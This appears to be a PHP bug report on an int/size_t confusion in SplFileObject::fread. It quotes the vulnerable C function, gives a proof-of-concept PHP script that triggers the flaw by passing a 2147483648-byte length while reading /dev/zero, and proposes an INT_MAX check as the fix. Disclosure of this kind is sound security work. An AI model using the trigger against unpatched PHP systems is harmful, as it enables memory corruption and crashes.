Description:
------------
int/size_t confusion in SplFileObject::fread

this bug similar with bug#72114

```
SPL_METHOD(SplFileObject, fread)
{
	spl_filesystem_object *intern = (spl_filesystem_object*)zend_object_store_get_object(getThis() TSRMLS_CC);
	long length = 0;

	if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "l", &length) == FAILURE) {
		return;
	}

	if (length <= 0) {
		php_error_docref(NULL TSRMLS_CC, E_WARNING, "Length parameter must be greater than 0");
		RETURN_FALSE;
	}

	Z_STRVAL_P(return_value) = emalloc(length + 1);
	Z_STRLEN_P(return_value) = php_stream_read(intern->u.file.stream, Z_STRVAL_P(return_value), length);

	/* needed because recv/read/gzread doesnt put a null at the end*/
	Z_STRVAL_P(return_value)[Z_STRLEN_P(return_value)] = 0;
	Z_TYPE_P(return_value) = IS_STRING;
}
```

PoC:
```
<?php

ini_set('memory_limit', -1);
$filename = '/dev/zero';
$file = new SplFileObject($filename, 'r');
$file->fread(2147483648);

?>
```

Fix:
```
		RETURN_FALSE;
	}
	
+	if (length > INT_MAX) {
+		php_error_docref(NULL TSRMLS_CC, E_WARNING, "Length parameter must be no more than %d", INT_MAX);
+		RETURN_FALSE;
+	}

	Z_STRVAL_P(return_value) = emalloc(length + 1);
```